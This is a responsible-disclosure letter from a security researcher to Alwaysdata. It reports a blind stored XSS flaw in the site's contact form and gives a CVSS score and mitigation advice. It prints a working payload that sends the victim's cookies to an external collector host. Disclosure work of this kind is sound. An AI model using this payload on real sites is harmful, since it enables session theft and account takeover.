Task Description
Dear Alwaysdata IT Team,
My name is Raden Adhiyaksa Indiharto, and I am a Security Researcher. I have identified a Blind Stored Cross-Site Scripting (XSS) vulnerability within your web application, specifically in the contact form endpoint located at:
https://www.alwaysdata.com/en/contact/
The purpose of this letter is to responsibly disclose the details of this vulnerability in order to assist your team in addressing this security issue effectively.
Vulnerability Summary
Vulnerability Type: Blind Stored Cross-Site Scripting (XSS)
Affected Endpoint: /en/contact/ (POST method, JSON input)
Payload Location: Malicious scripts are injected into the form fields form-mail-name and form-mail-message.
Impact: The injected JavaScript code executes when an administrator or user views the stored input on the dashboard or relevant data views.
Severity: Medium to High (depending on victim interaction)
CVSS (v3.1) Score Attack Vector (AV) Network (N) Attack Complexity (AC) Low (L) Privileges Required (PR) None (N) User Interaction (UI) Required (R) Scope (S) Unchanged (U) Confidentiality (C) High (H) Integrity (I) High (H) Availability (A) None (N) Base Score: 7.4 (High) Severity Rating: High
Technical Details The vulnerability was demonstrated by sending a crafted JSON payload to the contact form endpoint, as shown below:
{
"form-mail-email": "attacker@gmail.com",
"form-mail-name": "<iframe srcdoc=\"<script>new Image().src='https://xss.report/c/raden?c='+document.cookie</script>\"></iframe>",
"form-mail-message": "<iframe srcdoc=\"<script>new Image().src='https://xss.report/c/raden?c='+document.cookie</script>\"></iframe>"
}
This payload injects an iframe containing a script that creates a new image request to an external server, sending the victim’s cookies as query parameters. Because the payload is stored, it executes silently when the stored data is accessed, classifying it as a blind stored XSS vulnerability.
Trigger Condition The malicious script executes only when an administrator or user opens the dashboard or data view where the stored input is displayed. This delayed execution makes the vulnerability harder to detect.
Server Response
HTTP/2 200 OK
Content-Length: 2
ok
confirming that the malicious input was successfully stored.
Potential Impact
Unauthorized disclosure of session cookies and sensitive data.
Potential account takeover, privilege escalation, and unauthorized access.
Difficult to detect due to blind nature (the attacker does not see immediate effects).
Recommendations for Mitigation
Filter and sanitize all inputs to reject or escape HTML and script content.
Properly encode data before rendering it in the UI to prevent script execution.
Implement CSP headers to restrict sources of executable scripts.
Engage in regular security audits and include XSS-focused penetration testing.
Note The payload works by executing only when an administrator or user opens the dashboard or view page where the stored input is displayed. This confirms that further exploitation would require the victim to interact with that interface. At this stage, you may consider whether this level of proof of concept sufficiently demonstrates the risk, or if additional exploitation steps are necessary to showcase the impact in greater detail.
Thank you for your attention and commitment to security.
Best regards, Raden Adhiyaksa Indiharto Security Researcher
Link Video and Image Proof of Concept https://drive.google.com/drive/folders/1pTvtlZmsxj9LIhyAwNnDN5ZRqGnweZs3?usp=sharing
|